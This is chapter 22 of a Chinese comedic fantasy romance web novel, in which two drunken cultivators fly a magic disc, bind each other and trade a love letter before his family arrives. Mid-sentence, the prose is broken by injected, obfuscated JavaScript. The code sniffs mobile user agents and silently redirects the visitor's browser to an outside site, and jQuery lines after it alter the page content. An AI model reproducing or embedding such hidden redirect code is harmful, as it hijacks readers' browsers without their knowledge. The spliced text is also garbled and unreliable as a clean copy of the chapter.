22.第二十二章

作品:《本公子天下无双

    谢公子一声吼,先把自己吓了一跳。


    这酒果真火辣,他的头脑已有些模糊。


    “你想说什么?”


    霍不染睨他一眼,问道。


    谢公子呆愣愣地想:“是啊,我喊她干什么?”


    偏偏霍不染不依不饶,还在问他为何拍桌子。


    “本公子想拍就拍,你管我。”谢公子又拍两下,一次比一次响。


    霍不染摁着额角,默默背着门派规训以清心境。


    另一边谢公子嫌弃拍桌子手疼,于是改为拿起筷子敲敲打打。


    杂音入耳,霍不染背到一半终于背不下去了。


    她有些生气地低声道:“闭嘴。”


    谢公子手下不停,神气道:“我又没说话。”


    太吵了。


    比碎云峰上的大白鹅还要吵。


    霍不染面无表情地看他一眼,突然拿起桌边的绑酒绳二话不说给他双手套了进去。


    美妙的乐曲戛然而止。


    谢公子胡乱挣动起来,嘴里喃喃不休:“你捆我做甚!本公子的双手你可知有多么金贵!”


    还是太吵,应该堵住。


    霍不染又把包子塞他嘴里,用力一摁。


    “唔唔唔!”谢公子被噎得翻起白眼。


    终于安静下来。


    霍不染不放心地打了几个结然后把他的双手绕在轮椅上捆死了。


    等忙完这一切,她直板板坐在椅子上,微阂双目一动不动。


    一旁的谢公子瘫在轮椅上,眼尾猩红,衣裳凌乱,看起来进气多出气少。


    他缓了片刻,歪过头来恶狠狠地瞪着她。


    此等狂徒竟敢亵渎本公子,我定要——


    他盯着那莹白修长的脖颈作势一咬,我咬死她!


    啪嗒——


    肉包被一口咬断,掉落在谢公子的锦衣华服上,浓郁的汁水浸透了薄纱,油渍迅速晕成一大团。


    “你……咳、咳!”谢公子咽下肉包残骸,结果太干黏在喉咙口。


    水!


    他急切地去撞霍不染。


    结果后者腰板笔直地从椅子上滚了下来。


    死、死了?


    谢公子一个惊吓,倒是把包子吞下了肚。


    “你……”霍不染趴在椅子上探出一个头。


    “你自己掉下去的!”


    霍不染拧眉,“一派胡言。”


    她撑着椅子想要起来,却手一滑又倒了下去。


    “哈哈哈。”谢公子嘲笑道:“你醉了。”


    “胡说。”


    “醉鬼!”谢公子晃晃沉重的脑袋,悠悠唱起来:“醉鬼,醉鬼,你是醉鬼。”


    霍不染终于坐稳,一拍桌子,“我没醉。不信我证明给你看。”


    她抬起手,指尖凝结一团蓝光。


    “你看,我们可以飞得更高。”说罢她手腕下压,灵力注入圆盘之中。


    阵法闪烁,瞬间腾飞数十丈。


    突如其来的失重感让谢公子差点吐出胆汁。他强压胸腔翻涌,还未开口霍不染又是往前一指。


    主盘乘风而去,把身后玩得七仰八叉的众人瞬间甩远。


    “……”


    一身油污的谢公子从嘴里吐出一撮头发。


    他的酒完全醒了。


    “如何?我的术法是不是很厉害。”


    谢公子敬佩地看着桌上的酒,心道:“改天一定要问辣椒妹妹拿几坛研究研究,这哪是辣椒酒简直是改性酒啊!”


    “你为何不说话?”霍不染歪头看他。


    对比一塌糊涂的谢公子,她倒是看起来整整齐齐,除了脸颊微红外依旧清冷出尘。


    可惜她一开口就露馅了。


    “你信不信我能让它在峡谷中穿行。”她把凝聚灵力的手指往谢照乘面前戳了戳,“倒过来飞。”


    “信!我信!”谢公子就差拖着残腿给她跪下。


    “不。你不信。”霍不染一眼拆穿他的虚伪,手一勾圆盘已开始倾斜。


    谢公子像条鱼原地蹦跶了一下,可惜视野越来越歪,眼看着就要从万丈高空自由落下。


    他急中生智,大吼道:“这法阵有何稀奇,要我说你有一事绝对不会。”


    圆盘回正,霍不染好奇道:“何事?”


    谢公子却不答,只问她:“若你不会,而我却恰好擅长于此,你该如何?”


    霍不染想都不想,蹦出一个字:“学!”


    “嗯。”谢公子满意地点点头,坐得笔直:“先喊声师傅听听。”


    霍不染直直看他并不张嘴。


    谢公子心中暗道:“不是说酒喝多了会变笨吗?”


    “喊什么?”霍不染突然问道。


    原来是傻得连话也听不懂了。


    谢公子抬起下巴,一个字一个字教她:“师——傅!”


    “哦。”霍不染点点头,“我应下了。”


    ?


    谢公子呆了一瞬,又从轮椅上弹起。


    可惜他被捆住双手,只能原地瞎扑腾。


    “到底是何事我不会?”霍不染又探头来问。


    谢公子躺在轮椅上,望着皎洁明月内心怅然:“此人大概是专门生来克我的。”


    他了无生机地开口:“翻花绳。”


    说完后他就躺着观月,心道:“随你玩耍吧。只要我留口气在,等你明日酒醒后看你还有什么脸面对我。”


    这么一想他又有些高兴起来,干脆开始研究起星象。


    时间逐渐流逝,就在谢公子眼皮微重的时候,身前传来霍不染的声音。


    “翻花绳是什么法术?”


    谢公子张嘴就说:“可以翻云覆雨,改变天相的民间术法。”


    霍不染一惊。


    此等术法她竟然闻所未闻。


    “想不想学?”


    她垂下眼没有说话。


    谢公子瞄了她一眼,又道:“我自幼习得此法,在同辈之中更是佼佼者。你当真不学?”


    霍不染终于按捺不住,抬眼快速看了他一眼,小声道:“想。”


    她看谢公子不说话,抿抿唇又道:“需要用到什么法器吗?”


    谢公子见她上钩,慢悠悠道:“最重要的法器不是已经被你用来捆我了。”


    他刚说完,霍不染就上道地给他解了绑。


    不短的时间,谢公子的双手之上已遍布红痕。


    他揉了揉手腕,气霍不染竟然用了这么大的劲,此刻不报复更待何时。


    于是他对着乖乖等待的霍不染说道:“既然要学,就该拜师。三跪九叩,敬茶行礼这哪一样都不能少。”


    霍不染点头觉得他说得有理,于是拿过桌上的酒杯就给谢照乘灌了进去。


    谢公子猝不及防被呛得眼泪花花,他急忙推开:“水……水!”


    要水?


    霍不染立刻又给他灌了杯酒。


    怕他不够喝,她又贴心问道:“还要再来一杯吗?”


    谢公子垂着头,只觉得浑身发胀,耳中回荡着若椒的话:你连表白也不会?


    谁说我不会!


    他抬头直视霍不染,眼神坚定。


    “你……怎么了?”霍不染见他脸色通红,目露凶光想了想还是伸手去探额头。


    啪叽——


    手腕被谢公子一把抓住。


    霍不染瞬间瞪大双目,连酒杯何时滑落洒了一身的酒水也未曾得知。


    “今晚。”谢公子掏出一物塞到她手中,“就把事情办了。”


    霍不染愣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983545|176481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    愣看着手中之物,不解道:“你为何给我这个?”


    “你别管。”谢公子热烘烘道:“照我说的去做。”


    两人对视半晌,谢公子率先移开目光,“快点啊。你难道不想学翻花绳了?”


    一听翻花绳,霍不染立刻听话。


    然而才刚刚开始,她抵不过酒劲栽倒在桌上。


    “诶!”谢公子立刻接过来,眨眨眼睛,呆在当场。


    这……可如何是好?


    然而箭在弦上不得不发,他忍着羞涩推开碍事的霍不染只好自己上阵。


    夜风冷冷,吹得醉醺醺的谢公子晕头转向。


    他坚持不懈终于完工。只可惜还未来得及回味,也一头醉倒。


    没了干扰的圆盘终于回归正轨,载着昏迷不醒的二人返回天玄。


    一夜的癫狂,换来的是午后才起来的罪过。


    宁满扶着额头,只觉得身后还有群小鸡在拉扯。他竭力稳住心神然而依旧两腿交叉走得姿态缠绕。


    “你说他们会不会太快了?”


    林中一侧突然传来的声音把宁满吓了一跳,他原本不予理会然而听到了师姐的名字。


    “想不到小财主竟然真的拿下了不染妹妹。我说庞师兄,你为何叹气?”


    “不妥,不妥啊。”


    “怎么了?不就是孤男寡女在夜空中独处了一夜吗?”


    “你懂什么。”


    “我怎么不懂。两人既然互相倾心,日后自当结为道侣。”


    “你也说了日后,可他们这也太快了。”


    “你到底何意?”


    “……你把耳附来。”


    声音陡然变小,宁满也探入半个身位。


    只听那细若蚊蝇的声音响起:“你可知两人皆是面色红润,衣物上沾了污秽。”


    “那又如何,说不定是他们喝酒喝得尽兴洒在衣服上的。”


    “要是那么简单就好了。那谢公子的衣服明显有过拉扯,还有他的手腕……你是没看到,那上面的一片青紫,是喝酒能闹出来的动静?”


    若椒吓了一跳,“你是说他们……”


    庞飞闭眼,沉重道:“八九不离十。”


    “无耻登徒子!”宁满再也忍不住,大吼一声往谢照乘住处奔去。


    庞飞与若椒没料到还有一人,惊吓过后立刻去追。


    三人你追我赶,一路卷来,人未到声先至。


    然而此刻的谢公子却什么也听不到了。


    他握着手中的纸,脸上带着两分不可置信外加八分的果真如此。


    那是一张字迹略显缭乱,但满篇都是赞美他的信。


    不,准确来说,这是一封情书。


    谢公子全篇通读了三遍,只觉得如遇知己,这上面的每一个字都给他一股熟悉的感觉。


    虽然昨夜的记忆只停留在了他酒壮人胆,大喝一声的画面。


    然而手中这份霍不染亲手写的信明明白白告诉他:她心悦于我。


    谢公子微微挑眉,复又轻轻点头。


    她果然心悦于我。


    她自然心悦与我。


    他小心翼翼把情书放入乾坤袋中,开心地在屋内转了个圈。


    “谢照乘!”


    “谢、谢谢、公子——”


    两道声音同时在屋外响起。


    宁满气哄哄拉开房门,然而拳头还未来得及举起来就被挤到一边。


    庞飞立刻把他控住,感激地看向及时雨高止。


    高止无视身后灼灼目光,对着谢照乘一口气道:“谢家、来、来人了!”


    轰——!


    谢公子一头热血冷了下来。


    谢家竟然提前来了。


    这可怎么办,他刚被表明心意难道就要离开了?